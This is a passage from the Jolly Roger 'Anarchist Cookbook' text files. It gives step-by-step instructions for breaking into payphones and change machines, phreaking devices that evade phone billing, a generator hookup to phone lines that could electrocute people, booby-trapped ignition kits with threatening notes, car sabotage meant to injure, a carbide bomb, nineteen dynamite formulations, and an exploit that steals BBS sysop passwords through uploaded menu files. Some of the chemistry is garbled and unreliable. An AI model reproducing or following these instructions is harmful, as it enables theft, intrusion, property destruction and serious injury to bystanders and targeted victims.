"WE OFTEN FANTASIZE ABOUT 'PICKING THE LOCK' OR 'GETTING A MASTER
KEY.' WELL, YOU CAN FORGET ABOUT IT. I DON'T LIKE TO DISCOURAGE PEOPLE, BUT
IT WILL SAVE YOU FROM WASTING ALOT OF OUR TIME--TIME WHICH CAN BE PUT TO
BETTER USE (HEH, HEH)." AS FOR PHYSICAL ATTACK, THE COIN PLATE
IS SECURED ON ALL FOUR SIDE BY HARDENED STEEL BOLTS WHICH PASS THROUGH TWO
SLOTS EACH. THESE BOLTS ARE IN TURN INTERLOCKED BY THE MAIN LOCK.
ONE PHREAK I KNOW DID MANAGE TO TAKE ONE OF THE 'MOTHERS' HOME (WHICH WAS
ATTACHED TO A PIECE OF PLYWOOD AT A CONSTRUCTION SITE; OTHERWISE, THE
PERMANENT ONES ARE A BITCH TO DETACH FROM THE WALL!). IT TOOK HIM ALMOST
TEN HOURS TO OPEN THE COIN BOX USING A POWER DRILL, SLEDGE HAMMERS, AND CROW
BARS (WHICH WAS EMPTY -- PERHAPS NEXT TIME, HE WILL DEPOSIT A COIN FIRST TO
HEAR IF IT SLUSHES DOWN NICELY OR HITS THE EMPTY BOTTOM WITH A CLUNK.)
TAKING THE FONE OFFERS A HIGHER MARGIN OF SUCCESS. ALTHOUGH THIS MAY BE
DIFFICULT OFTEN REQUIRING BRUTE FORCE AND THERE HAS BEEN SEVERAL CASES OF
BACK AXLES BEING LOST TRYING TO TAKE DOWN A FONE! A QUICK AND DIRTY WAY TO
OPEN THE COIN BOX IS BY USING A SHOTGUN. IN DETROIT, AFTER ECOLOGISTS
CLEANED OUT A MUNICIPAL POND, THEY FOUND 168 COIN PHONE RIFLED.
IN COLDER AREAS, SUCH AS CANADA, SOME SHREWD PEOPLE TAPE UP THE FONES USING
DUCT TAPE, POUR IN WATER, AND COME BACK THE NEXT DAY WHEN THE WATER WILL HAVE
FROZE THUS EXPANDING AND CRACKING THE FONE OPEN.
IN ONE CASE, "UNAUTHORIZED COIN COLLECTORS" WHERE CAUGHT WHEN THEY
BROUGHT $6,000 IN CHANGE TO A BANK AND THE BANK BECAME SUSPICIOUS...
AT ANY RATE, THE MAIN LOCK IS AN EIGHT LEVEL TUMBLER LOCATED ON THE RIGHT SIDE
OF THE COIN BOX. THIS LOCK HAS 390,625 POSSIBLE POSITIONS (5 ^ 8, SINCE THERE
ARE 8 TUMBLERS EACH WITH 5 POSSIBLE POSITIONS) THUS IT IS HIGHLY PICK
RESISTANT! THE LOCK IS HELD IN PLACE BY 4 SCREWS. IF THERE IS SUFFICIENT
CLEARANCE TO THE RIGHT OF THE FONE, IT IS CONCEIVABLE TO PUNCH OUT THE SCREWS
USING THE DRILLING PATTERN BELOW (PROVIDED BY ALEXANDER MUNDY IN TAP #32):
====================================
!! ^
!! !
! 1- 3/16 " !! !
!<--- --->!! 1-1/2"
-------------------- !
! ! !! ! !
! (+) (+)-! -----------
---! !! ! ^
! ! !! ! !
! ! (Z) !! ! !
! ! !! ! 2-3/16"
---! !! ! !
! (+) (+) ! !
! !! ! !
-------------------- -----------
!!
!!
(Z) KEYHOLE (+) SCREWS
!!
===================================
AFTER THIS IS ACCOMPLISHED, THE LOCK CAN BE PUSHED BACKWARDS DISENGAGING
THE LOCK FROM THE COVER PLATE. THE FOUR BOLTS OF THE COVER PLATE CAN THEN
BE RETRACTED BY TURNING THE BOLTWORKS WITH A SIMPLE KEY IN THE SHAPE OF THE
HOLE ON THE COIN PLATE (SEE DIAGRAM BELOW). OF COURSE, THERE ARE OTHER
METHODS AND DRILLING PATTERNS.
:-------------------------------------:
_
! !
( )
!_!
[ROUGHLY]
DIAGRAM OF COVER PLATE KEYHOLE
:-------------------------------------:
THE TOP COVER USES A SIMILAR (BUT NOT AS STRONG) LOCKING METHOD WITH THE
KEYHOLE DEPICTED ABOVE ON THE TOP LEFT HIDE AND A REGULAR LOCK (PROBABLY
TUMBLER ALSO) ON THE TOP RIGHT-HAND SIDE. IT IS INTERESTING TO EXPERIMENT
WITH THE COIN SHUTE AND THE FORTRESSES OWN "RED BOX" (WHICH BELL DIDN'T HAVE
THE 'BALLS' TO COLOR RED).
MISCELLANEOUS:
--------------
IN A FEW AREAS (RURAL & CANADA), POST-PAY SERVICE EXISTS. WITH THIS TYPE OF
SERVICE, THE MOUTHPIECE IS CUT OFF UNTIL THE CALLER DEPOSITS MONEY WHEN
THE CALLED PARTY ANSWERS. THIS ALSO ALLOWS FOR FREE CALLS TO WEATHER AND
OTHER DIAL-IT SERVICES! RECENTLY, 2600 MAGAZINE ANNOUNCED THE CLEAR BOX WHICH
CONSISTS OF A TELEPHONE PICKUP COIL AND A SMALL AMP. IT IS BASED ON THE›
RINCIPAL THAT THE RECEIVER IS ALSO A WEAK TRANSMITTER AND THAT BY AMPLIFYING
YOUR SIGNAL YOU CAN TALK VIA THE TRANSMITTER THUS AVOIDING COSTLY
TELEPHONE CHARGES! MOST FORTRESSES ARE FOUND IN THE 9XXX
AREA. UNDER FORMER BELL AREAS, THEY USUALLY START AT 98XX (RIGHT BELOW THE
99XX OFFICIAL SERIES) AND MOVE DOWNWARD.
SINCE THE LINE, NOT THE FONE, DETERMINES WHETHER OR NOT A DEPOSIT
MUST BE MADE, DTF & CHARGE-A-CALL FONES MAKE GREAT EXTENSIONS!
FINALLY, FORTRESS FONES ALLOW FOR A NEW HOBBY--INSTRUCTION PLATE COLLECTING.
ALL THAT IS REQUIRED IS A FLAT-HEAD SCREWDRIVER AND A PAIR OF NEEDLE-NOSE
PLIERS. SIMPLY USE THE SCREWDRIVER TO LIFT UNDERNEATH THE PLATE SO THAT YOU
CAN GRAB IT WITH THE PLIERS AND YANK DOWNWARDS. I WOULD SUGGEST COVERING THE
TIPS OF THE PLIERS WITH ELECTRICAL TAPE TO PREVENT SCRATCHING. TEN CENT PLATES
ARE DEFINITELY BECOMING A "RARITY!"
FORTRESS SECURITY:
------------------
WHILE A LONELY FORTRESS MAY SEEM THE PERFECT TARGET, BEWARE! THE GESTAPO
HAS BEEN KNOWN TO STAKE OUT FORTRESSES FOR AS LONG AS 6 YEARS ACCORDING TO THE
GRASS ROOTS QUARTERLY. TO AVOID ANY PROBLEMS, DO NOT USE THE SAME FONES
REPEATEDLY FOR BOXING, CALLING CARDS, & OTHER EXPERIMENTS. THE TELCO KNOWS HOW
MUCH MONEY SHOULD BE IN THE COIN BOX AND WHEN ITS NOT THERE THEY TEND TO GET
PERTURBED (READ: PISSED OFF).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------Jolly Roger
p.s. This was originally written back in my old Apple ][ days,
hence the upper case. I just did not think I should waste the
little time I have to work on this shit converting it to lowercase.
Hell, I thought 80-columns was pretty nice of me.. heh heh.
Well, enjoy this and the rest of this Cookbook! ---------JR
From the CookBook 4.. Exodus
_
Black Box Plans by The Jolly Roger
Introduction:
------------
At any given time, the voltage running through your phone is about 20
Volts. When someone calls you, this voltage goes up to 48 Volts and rings
the bell. When you answer, the voltage goes down to about 10 Volts.
The phone company pays attention to this. When the voltage drops to 10,
they start billing the person who called you.
Function:
--------
The Black Box keeps the voltage going through your phone at 36 Volts,
so that it never reaches 10 Volts. The phone company is thus fooled
into thinking you never answered the phone and does not bill the caller.
However, after about a half hour the phone company will get suspicious
and disconnect your line for about 10 seconds.
Materials:
---------
1 1.8K 1/2 Watt Resistor
1 1.5V LED
1 SPST Switch
Procedure:
---------
(1) Open your phone by loosening the two screws on the bottom and
lifting the case off.
(2) There should be three wires: Red, Green, and Yellow. We'll be working
with the Red Wire.
(3) Connect the following in parallel:
A. The Resistor and LED.
B. The SPST Switch.
In other words, you should end up with this:
(Red Wire)
!---/\/\/\--O--!
(Line)-----! !-----(Phone)
!-----_/_------!
/\/\/\ = Resistor
O = LED
_/_ = SPST
Use:
---
The SPST Switch is the On/Off Switch of the Black Box. When the box is off,
your phone behaves normally. When the box is on and your phone rings,
the LED flashes. When you answer, the LED stays on and the voltage
is kept at 36V, so the calling party doesn't get charged. When the box
is on, you will not get a dial tone and thus cannot make calls.
Also remember that calls are limited to half an hour.
------------Exodus
p.s. Due to new Fone Company switching systems & the like, this
may or may not work in your area. If you live in bumfuck Kentucky,
then try this out. I make no guarantees! (I never do...) ----Ex.
_
The Infamous Blotto Box!! by The Jolly Roger
(I bet that NOONE has the balls to build this one!)
Finally, it is here! What was first conceived as a joke to fool the innocent
phreakers around America has finally been conceived!
Well, for you people who are unenlightened about the Blotto Box,
here is a brief summery of a legend.
--*-=> The Blotto Box <=-*--
For years now every pirate has dreamed of the Blotto Box. It was at first
made as a joke to mock more ignorant people into thinking that
the function of it actually was possible. Well, if you are The Voltage
Master, it is possible. Originally conceived by King Blotto of much fame,
the Blotto Box is finally available to the public.
NOTE: Jolly Roger can not be responsible for the information disclosed
in the file! This file is strictly for informational purposes and
should not be actually built and used! Usage of this electronical impulse
machine could have the severe results listed below and could result in
high federal prosecution! Again, I TAKE NO RESPONSIBILITY!
All right, now that that is cleared up, here is the basis of the box
and it's function.
The Blotto Box is every phreaks dream... you could hold AT&T down on its
knee's with this device. Because, quite simply, it can turn off the phone
lines everywhere. Nothing. Blotto. No calls will be allowed out of an area
code, and no calls will be allowed in. No calls can be made inside it for
that matter. As long as the switching system stays the same, this box will
not stop at a mere area code. It will stop at nothing. The electrical
impulses that emit from this box will open every line. Every line will
ring and ring and ring... the voltage will never be cut off until the
box/generator is stopped. This is no 200 volt job, here.
We are talking GENERATOR. Every phone line will continue to ring, and people
close to the box may be electricuted if they pick up the phone.
But, the Blotto Box can be stopped by merely cutting of the line or generator.
If they are cut off then nothing will emit any longer. It will take
a while for the box to calm back down again, but that is merely a
superficial aftereffect. Once again: Construction and use of this box is
not advised! The Blotto Box will continue as long as there is
electricity to continue with.
OK, that is what it does, now, here are some interesting things for you
to do with it...
-*-=>Blotto Functions/Installin'<=-*-
Once you have installed your Blotto, there is no turning back. The
following are the instructions for construction and use of this box.
Please read and heed all warnings in the above section before you attempt
to construct this box.
Materials:
- A Honda portable generator or a main power outlet like in a
stadium or some such place.
- 400 volt rated coupler that splices a female plug into a
phone line jack.
- A meter of voltage to attach to the box itself.
- A green base (i.e. one of the nice boxes about 3' by 4' that
you see around in your neighborhood. They are the main switch
boards and would be a more effective line to start with.
or: A regular phone jack (not your own, and not in your area
code!
- A soldering iron and much solder.
- A remote control or long wooden pole.
Now. You must have guessed the construction from that. If not, here goes,
I will explain in detail. Take the Honda Portable Generator and all of
the other listed equiptment and go out and hunt for a green base. Make
sure it is one on the ground or hanging at head level from a pole,
not the huge ones at the top of telephone poles. Open it up with anything
convienent, if you are two feeble that fuck don't try this.
Take a look inside... you are hunting for color-coordinating lines of
green and red. Now, take out your radio shack cord and rip the meter thing
off. Replace it with the voltage meter about. A good level to set the
voltage to is about 1000 volts. Now, attach the voltage meter to the cord
and set the limit for one thousand. Plug the other end of the cord
into the generator. Take the phone jack and splice the jack part off.
Open it up and match the red and green wires with
the other red and green wires. NOTE: If you just had the generator on
and have done this in the correct order, you will be a crispy critter.
Keep the generator off until you plan to start it up. Now, solder those
lines together carefully. Wrap duck tape or insultation tape around all
of the wires. Now, place the remote control right on to the startup
of the generator. If you have the long pole, make sure it is very long
and stand back as far away as you can get and reach the pole over.
NOTICE: If you are going right along with this without reading the file
first, you still realize now that your area code is about to become
null! Then, getting back, twitch the pole/remote control and run for your
damn life. Anywhere, just get away from it. It will be generating
so much electricity that if you stand to close you will kill yourself.
The generator will smoke, etc. but will not stop. You are now killing your
area code, because all of that energy is spreading through all of the
phone lines around you in every direction.
Have a nice day!
--*-=>The Blotto Box: Aftermath<=-*--
Well, that is the plans for the most devastating and ultimately deadly
box ever created. My hat goes off to: King Blotto (for the original idea).
---------Exodus
_
Blowgun by The Jolly Roger
In this article I shall attempt to explain the use and manufacture
of a powerfull blow-gun and making darts for the gun.The possesion of
the blow gun described in this article IS a felony.
So be carefull where you use it. I don't want to get you all busted.
Needed:
1. Several strands of yarn (About 2 inches a-piece)
2. A regular pencil
3. A 2 1/4 inch long needle (hopefully with a beaded head. If not
obtainable,wrap tape around end of needle.
4. 2-3 1/4 foot pipe. (PVC or Aluminum) Half a inch in diameter
Constructing the dart:
1st- Carefully twist and pull the metal part (Along with eraser)
of the pencil till it comes off.
2nd- Take Pin and start putting about 5-7 Strands of yarn on the pin. Then
push them up to the top of the pin. But not over the head of the pin (orthe tape).
3rd- Push pin through the hollow part of the head where the pencil was before.
4th- That should for a nice looking dart. (see illustration)
#####
>>>>>-----/ # is the yarn
> is the head of the pencil
- is the pin it-self
/ is the head of the pin
Using the Darts:
1st- Now take the finished dart and insert it in the tube
(if it is too small put on more yarn.)
2nd- Aim the tube at a door, wall, sister, ect.
3rd- blow on the end of the pipe.
4th- Sometimes the end of the pipe may be sharp. When this happens I
suggest you wrap it with some black electrician tape.It should feel
a lot better.
-= Exodus =-
_
Brown Box Plans by The Jolly Roger
This is a fairly simple mod that can be made to any phone. All it does
is allow you to take any two lines in your house and create a party
line. So far I have not heard of anyone who has any problems
with it. There is one thing that you will notice when you are
one of the two people who is called by a person with a brown box. The other
person will sound a little bit faint. I could overcome this with some
amplifiers but then there wouldn't be very many of these made [Why not?].
I think the convenience of having two people on the line at once will
make up for any minor volume loss.
Here is the diagram:
---------------------------------------
KEY:___________________________________
| PART | SYMBOL |
|---------------------------------|
| BLACK WIRE | * |
| YELLOW WIRE | = |
| RED WIRE | + |
| GREEN WIRE | - |
| SPDT SWITCH | _/_ |
| _/_ |
| VERTICAL WIRE | | |
| HORIZONTAL WIRE | _ |
-----------------------------------
* = - +
* = - +
* = - +
* = - +
* = - +
* ==_/_- +
*******_/_++++++
| |
| |
| |
| |
| |
| |
|_____PHONE____|
------------Exodus
_
Calcium Carbide Bomb by The Jolly Roger
This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some
calcium carbide. This is the stuff that is used in carbide lamps and
can be found at nearly any hardware store. Take a few pieces of this
stuff (it looks like gravel) and put it in a glass jar with some
water. Put a lid on tightly. The carbide will react with the water to
produce acetylene carbonate which is similar to the gas used in
cutting torches. Eventually the glass with explode from internal
pressure. If you leave a burning rag nearby, you will get a nice
fireball!
-----------Exodus
_
More Ways to Send a Car to Hell by The Jolly Roger
Due to a lot of compliments, I have written an update to file #14.
I have left the original intact. This expands upon the original
idea, and could be well called a sequal. -----Ex.
How to have phun with someone else's car. If you really detest
someone, and I mean detest, here's a few tips on what to do in your
spare time. Move the windshield wiper blades, and insert and glue
tacks. The tacks make lovely designs. If your "friend" goes to
school with you, Just before he comes out of school. Light a lighter
and then put it directly underneath his car door handle.
Wait...Leave...Listen. When you hear a loud "shit!", you know he
made it to his car in time. Remove his muffler and pour approximately
1 Cup of gas in it. Put the muffler back, then wait till their car starts.
Then you have a cigarette lighter. A 30 foot long cigarette lighter.
This one is effective, and any fool can do it. Remove the top
air filter. That's it! Or a oldie but goodie: sugar in the gas tank.
Stuff rags soaked in gas up the exhaust pipe. Then you wonder why
your "friend" has trouble with his/her lungs. Here's one that takes
time and many friends. Take his/her car then break into their house
and reassemble it, in their living or bedroom. Phun eh? If you're
into engines, say eeni mine moe and point to something and remove it.
They wonder why something doesn't work. There are so many others, but
the real good juicy ones come by thinking hard.
-----------Exodus
_
Ripping off Change Machines by the Jolly Roger
Have you ever seen one of those really big changer machines in airports
laundrymats or arcades that dispense change when you put in your 1 or 5
dollar bill? Well then, here is an article for you.
1) Find the type of change machine that you slide in your bill length
wise, not the type where you put the bill in a tray and then slide the
tray in!!!
2) After finding the right machine, get a $1 or $5 bill. Start crumpling
up into a ball. Then smooth out the bill, now it should have a very wrinkly
surface.
3) Now the hard part. You must tear a notch in the bill on the
left side about 1/2 inch below the little 1 dollar symbol (See Figure).
4) If you have done all of this right then take the bill and go out the
machine. Put the bill in the machine and wait. What should happen is:
when you put your bill in the machine it thinks everything is fine.
When it gets to the part of the bill with the notch cut out, the
machine will reject the bill and (if you have done it right)
give you the change at the same time!!! So, you end up getting your bill
back, plus the change!! It might take a little practice, but once
you get the hang of it, you can get a lot of money!
!--------------------------------!
! !
! (1) /-------\ (1) !
! ! ! !
! ! Pic. ! !
! (1) /\ \-------/ (1) !
! !! !
!-----/ \-----------------------!
\-------Make notch here. About 1/2 " down from (1)
P.S. Sorry for the "text work" but you should be able to get the
idea. Have fun!!! -= Exodus =-
_
Clear Box Plans by The Jolly Roger
The clear box is a new device which has just been invented that can be
used throughout Canada and rural United States. The clear box works on
"PostPay" payphones (fortress fones). Those are the payphones
that don't require payment until after the connection is established.
You pick up the fone, get a dial tone, dial your number, and then
insert your money after the person answers.
If you don't deposit the money then you can not speak to the person on
the other end because your mouth piece is cut off but not the ear-piece.
(obviously these phones are nice for free calls to weather or time or
other such recordings). All you must do is to go to your nearby Radio
Shack, or electronics store, and get a four-transistor amplifier and a
telephone suction cup induction pick-up. The induction pick-up would be
hooked up as it normally would to record a conversation, except
that it would be plugged into the output of the amplifier and a
microphone would be hooked to the input. So when the party
that is being called answers, the caller could speak through the little
microphone instead. His voice then goes through the amplifier and out
the induction coil, and into the back of the receiver where
it would then be broadcast through the phone lines and the other
partywould be able to hear the caller. The Clear Box thus
'clears up' the problem of not being heard. Luckily, the line will
not be cut-off after a certain amount of time because it will wait
forever for the coins to be put in.
The biggest advantage for all of us about this new clear box is the
fact that this type of payphone will most likely become very common.
Due to a few things: 1st, it is a cheap way of getting the DTF,
dial-tone-first service, 2nd, it doesn't require any special equipment,
(for the phone company) This payphone will work on any phone line.
Usually a payphone line is different, but this is a regular phone line
and it is set up so the phone does all the charging, not the company.
------------Exodus
_
CNA List Courtesy of The Jolly Roger
NPA TEL NO NPA TEL NO
--------------------------------------
201 201-676-7070 601 601-961-8139
202 304-343-7016 602 303-293-8777
203 203-789-6815 603 617-787-5300
204 204-949-0900 604 604-432-2996
205 205-988-7000 605 402-580-2255
206 206-382-5124 606 502-583-2861
207 617-787-5300 607 518-471-8111
208 303-293-8777 608 608-252-6932
209 415-543-2861 609 201-676-7070
212 518-471-8111 612 402-580-2255
213 415-781-5271 613 416-443-0542
214 214-464-7400 614 614-464-0123
215 412-633-5600 615 615-373-5791
216 614-464-0123 616 313-223-8690
217 217-525-5800 617 617-787-5300
218 402-580-2255 618 217-525-5800
219 317-265-4834 619 818-501-7251
301 304-343-1401 701 402-580-2255
302 412-633-5600 702 415-543-2861
303 303-293-8777 703 304-344-7935
304 304-344-8041 704 912-784-0440
305 912-784-0440 705 416-979-3469
306 306-347-2878 706 *** NONE ***
307 303-293-8777 707 415-543-6374
308 402-580-2255 709 *** NONE ***
309 217-525-5800 712 402-580-2255
312 312-796-9600 713 713-861-7194
313 313-223-8690 714 818-501-7251
314 314-721-6626 715 608-252-6932
315 518-471-8111 716 518-471-8111
316 816-275-2782 717 412-633-5600
317 317-265-4834 718 518-471-8111
318 504-245-5330 801 303-293-8777
319 402-580-2255 802 617-787-5300
401 617-787-5300 803 912-784-0440
402 402-580-2255 804 304-344-7935
403 403-425-2652 805 415-543-2861
404 912-784-0440 806 512-828-2501
405 405-236-6121 807 416-443-0542
406 303-293-8777 808 212-334-4336
408 415-543-6374 809 212-334-4336
409 713-861-7194 812 317-265-4834
412 413-633-5600 813 813-228-7871
413 617-787-5300 814 412-633-5600
414 608-252-6932 815 217-525-5800
415 415-543-6374 816 816-275-2782
416 416-443-0542 817 214-464-7400
417 314-721-6626 818 415-781-5271
418 514-725-2491 819 514-725-2491
419 614-464-0123 901 615-373-5791
501 405-236-6121 902 902-421-4110
502 502-583-2861 904 912-784-0440
503 206-382-5124 906 313-223-8690
504 504-245-5330 907 *** NONE ***
505 303-293-8777 912 912-784-0440
506 506-648-3041 913 816-275-2782
507 402-580-2255 914 518-471-8111
509 206-382-5124 915 512-828-2501
512 512-828-2501 916 415-543-2861
513 614-464-0123 918 405-236-6121
514 514-725-2491 919 912-784-0440
515 402-580-2255 516 518-471-8111
517 313-223-8690 518 518-471-8111
519 416-443-0542 900 201-676-7070
From the CookBook 4.............. Exodus_
Electronic Terrorism by The Jolly Roger
It starts when a big, dumb lummox rudely insults you. Being of a
rational, intelligent disposition, you wisely choose to avoid a
(direct) confrontation. But as he laughs in your face, you smile
inwardly---your revenge is already planned.
Step 1: follow your victim to his locker, car, or house. Once you
have chosen your target site, lay low for a week or more,
letting your anger boil.
Step 2: in the mean time, assemble your versatile terrorist
kit(details below.)
Step 3: plant your kit at the designated target site on a monday
morning between the hours of 4:00 am and 6:00 am. Include a
calm, suggestive note that quietly hints at the possibility
of another attack. Do not write it by hand! An example of
an effective note:
"don't be such a jerk, or the next one will take off your
hand. Have a nice day."
Notice how the calm tone instills fear. As if written by a
homicidal psychopath.
Step 5: choose a strategic location overlooking the target site. Try
to position yourself in such a way that you can see his facial contortions.
Step 6: sit back and enjoy the fireworks! Assembly of the versatile,
economic, and effective terrorist kit #1: the parts you'll need are:
1) 4 aa batteries
2) 1 9-volt battery
3) 1 spdt mini relay (radio shack)
4) 1 rocket engine(smoke bomb or m-80)
5) 1 solar ignitor (any hobby store)
6) 1 9-volt battery connector
Step 1: take the 9-volt battery and wire it through the relay's coil.
This circuit should also include a pair of contacts that when
separated cut off this circuit. These contacts should be held together
by trapping them between the locker,mailbox, or car door.
Once the door is opened, the contacts fall apart and the 9-volt circuit
is broken, allowing the relay to fall to the closed postion
thus closing the ignition circuit. (If all this is confusing take a
look at the schematic below.)
Step 2: take the 4 aa batteries and wire them in succession.
Wire the positive terminal of one to the negative terminal of another,
until all four are connected except one positive terminal and one negative
terminal. Even though the four aa batteries only combine to create 6
volts, the increase in amperage is necessary to activate the solar
ignitor quickly and effectively.
Step 3: take the battery pack (made in step 2) and wire one end of it
to the relay's single pole and the other end to one prong of the solar
ignitor. Then wire the other prong of the solar ignitor back to the open
position on the relay.
Step 4: using double sided carpet tape mount the kit in his locker,
mailbox, or car door. And last, insert the solar ignitor into the
rocket engine (smoke bomb or m-80).
Your kit is now complete!
---------><---------
I (CONTACTS) I
I I
I - (BATTERY)
I ---
I I
I (COIL) I
------///////-------
/-----------
/ I
/ I
/ I
(SWITCH) I I
I I
I --- (BATTERY)
I - ( PACK )
I ---
I I
I I
---- -----
I I
*
(SOLAR IGNITOR)
---------Exodus---------
_
How to Start A Conference w/o 2600hz or M-F by The Jolly Roger
(Originally an Apple ][ file, forgive the upper case!)
THIS METHOD OF STARTING THE CONF. DEPENDS ON YOUR ABILITY TO BULLSHIT THE
OPERATOR INTO DIALING A NUMBER WHICH CAN ONLY BE REACHED WITH AN OPERATOR'S
M-F TONES. WHEN BULLSHITTING THE OPERATOR REMEMBER OPERATOR'S ARE NOT
HIRED TO THINK BUT TO DO.
HERE IS A STEP-BY-STEP WAY TO THE CONF.:
1. CALL THE OPERATOR THROUGH A PBX OR EXTENDER, YOU COULD JUST CALL ONE
THROUGH YOUR LINE BUT I WOULDN'T RECOMMEND IT.
2. SAY TO THE OPERATOR:
TSPS MAINTENENCE ENGINEER, RING-FORWARD TO 213+080+1100, POSITION RELEASE,
THANKYOU.
(SHE WILL PROBABLY ASK YOU FOR THE NUMBER AGAIN)
DEFINITIONS: RING-FORWARD - INSTRUCTS HER TO DIAL THE NUMBER.
POSITION RELEASE - INSTUCTS HER TO RELEASE THE TRUNK AFTER SHE HAS
DIALED THE NUMBER.
+ - REMBER TO SAY 213PLUS080 PLUS1100.
3. WHEN YOU ARE CONNECTED WITH THE CONF. YOU WILL HERE A WHISTLE BLOW
TWICE AND A RECORDING ASKING YOU FOR YOUR OPERATOR #. DIAL IN ANY FIVE
DIGITS AND HIT THE POUNDS SIGN A COUPLE OF TIMES. SIMPLY DIAL IN THE #
OF THE BILLING LINE ECT. WHEN THE RECORDING ASK FOR IT.
3. WHEN IN THE CONTROL MODE OF THE CONF. HIT '6' TO TRANSFER CONTROL.
HIT '001' TO REENTER THE # OF CONFEREE'S AND TIME AMOUNT WHICH YOU
GAVE WHEN YOU STARED THE CONF. REMEMBER THE SIZE CAN BE FROM
2-59 CONFEREE'S. I HAVE NOT FOUND OUT THE 'LENGTHS' LIMITS.
How to Make Dynamite by The Jolly Roger
Dynamite is nothing more than just nitroglycerin and a stablizing
agent to make it much safer to use. For the sake of saving time, I
will abbreviate nitroglycerin with a plain NG. The numbers
are percentages, be sure to mix these carefully and be sure to use the
exact amounts. These percentages are in weight ratio, not volume.
no. ingredients amount
---------------------------------------
#1 NG 32
sodium nitrate 28
woodmeal 10
ammonium oxalate 29
guncotten 1
#2 NG 24
potassium nitrate 9
sodium nitate 56
woodmeal 9
ammonium oxalate 2
#3 NG 35.5
potassium nitrate 44.5
woodmeal 6
guncotton 2.5
vaseline 5.5
powdered charcoal 6
#4 NG 25
potassium nitrate 26
woodmeal 34
barium nitrate 5
starch 10
#5 NG 57
potassium nitrate 19
woodmeal 9
ammonium oxalate 12
guncotton 3
#6 NG 18
sodium nitrate 70
woodmeal 5.5
potassium chloride 4.5
chalk 2
#7 NG 26
woodmeal 40
barium nitrate 32
sodium carbonate 2
#8 NG 44
woodmeal 12
anhydrous sodium sulfate 44
#9 NG 24
potassium nitrate 32.5
woodmeal 33.5
ammonium oxalate 10
#10 NG 26
potassium nitrate 33
woodmeal 41
#11 NG 15
sodium nitrate 62.9
woodmeal 21.2
sodium carbonate .9
#12 NG 35
sodium nitrate 27
woodmeal 10
ammonium oxalate 1
#13 NG 32
potassium nitrate 27
woodmeal 10
ammonium oxalate 30
guncotton 1
#14 NG 33
woodmeal 10.3
ammonium oxalate 29
guncotton .7
potassium perchloride 27
#15 NG 40
sodium nitrate 45
woodmeal 15
#16 NG 47
starch 50
guncotton 3
#17 NG 30
sodium nitrate 22.3
woodmeal 40.5
potassium chloride 7.2
#18 NG 50
sodium nitrate 32.6
woodmeal 17
ammonium oxalate .4
#19 NG 23
potassium nitrate 27.5
woodmeal 37
ammonium oxalate 8
barium nitrate 4
calcium carbonate .5
Household equivalants for chemicles
It has come to my attention that many of these chemicles are
sold under brand names, or have household equivalants. here is a list
that might help you out. Also, see elsewhere in this Cookbook for
a more complete listing............
acetic acid vinegar
aluminum oxide alumia
aluminum potassium sulfate alum
aluminum sulfate alum
ammonium hydroxide ammonia
carbon carbonate chalk
calcium hypochloride bleaching powder
calcium oxide lime
calcium sulfate plaster of paris
carbonic acid seltzer
carbon tetrachloride cleaning fluid
ethylene dichloride Dutch fluid
ferric oxide iron rust
glucose corn syrup
graphite pencil lead
hydrochloric acid muriatic acid
hydrogen peroxide peroxide
lead acetate sugar of lead
lead tetrooxide red lead
magnesium silicate talc
magnesium sulfate Epsom salts
naphthalene mothballs
phenol carbolic acid
potassium bicarbonate cream of tartar
potassium chromium sulf. chrome alum
potassium nitrate saltpeter
sodium dioxide sand
sodium bicarbonate baking soda
sodium borate borax
sodium carbonate washing soda
sodium chloride salt
sodium hydroxide lye
sodium silicate water glass
sodium sulfate glauber's salt
sodium thiosulfate photographer's hypo
sulferic acid battery acid
sucrose cane sugar
zinc chloride tinner's fluid
Keep this list handy at all times. If you can't seem to get one
or more of the ingredients try another one. If you still can't, you
can always buy small amounts from your school, or maybe from various
chemical companies. When you do that, be sure to say as little as
possible, if during the school year, and they ask, say it's for a
experiment for school.
-------------Exodus-------------
_
Auto Exhaust Flame Thrower by The Jolly Roger
For this one, all you need is a car, a sparkplug, ignition wire and a
switch. Install the spark plug into the last four or five inches of
the tailpipeby drilling a hole that the plug can screw into easily.
Attach the wire (this is regular insulated wire) to one side of the
switch and to the spark plug. The other side of the switch is attached
to the positive terminal on the battery. With the car running, simply
hit the switch and watch the flames fly!!! Again be careful that no
one is behind you! I have seen some of these flames go 20 feet!!!
-------------Exodus------------
_
Breaking into BBS Express Courtesy of the Jolly Roger
If you have high enough access on any BBS Express BBS you can get the
Sysop's password without any problems and be able to log on as him and do
whatever you like. Download the Pass file, delete the whole BBS, anything.
Its all a matter of uploading a text file and d/ling it from the BBS. You
must have high enough access to see new uploads to do this. If you can see
a file you just uploaded you have the ability to break into the BBS in a
few easy steps.
Why am I telling everyone this when I run BBS Express myself?
Well there is one way to stop this from happening and I want other Sysops
to be aware of it and not have it happen to them.
Breaking in is all based on the MENU function of BBS Express. Express
will let you create a menu to display different text files by putting the
word MENU at the top of any text file and stating what files are to be
displayed. But due to a major screw up by Mr. Ledbetter you can use this
MENU option to display the USERLOG and the Sysop's Passwords or anything
else you like. I will show you how to get the Sysop's pass and therefore
log on as the Sysop. BBs Express Sysop's have 2 passwords. One like
everyone else gets in the form of X1XXX, and a Secondary password
to make it harder to hack out the Sysops pass.
The Secondary pass is found in a file called SYSDATA.DAT.
This file must be on drive 1 and is therefore easy to get. All you have to
do is upload this simple Text file:
MENU
1
D1:SYSDATA.DAT
Ripoff time!
after you upload this file you d/l it non-Xmodem. Stupid Express thinks
it is displaying a menu and you will see this:
Ripoff time!
Selection [0]:
Just hit 1 and Express will display the SYSDATA.DAT file.OPPASS is where
the Sysop's Secondary pass will be. D1:USERLOG.DAT is where you will find
the name and Drive number of the USERLOG.DAT file. The Sysop might have
renamed this file or put it in a Subdirectory or even on a different
drive. I Will Assume he left it as D1:USERLOG.DAT. The other parts of this
file tell you where the .HLP screens are and where the LOG is saved and
all the Download path names.
Now to get the Sysop's primary pass you upload a text file like this:
MENU
1
D1:USERLOG.DAT
Breaking into Bedwetter's BBS
Again you then d/l this file non-Xmodem and you will see:
Breaking into Bedwetter's BBS
Selection [0]:
You then hit 1 and the long USERLOG.DAT file comes flying at you.
The Sysop is the first entry in this very long file so it is easy. You will
see:
SYSOP'S NAME X1XXX
You should now have his 2 passwords.
There is only one easy way out of this that I can think of, and that is
to make all new uploads go to SYSOP level (Level 9) access only. This way
nobody can pull off what I just explained.
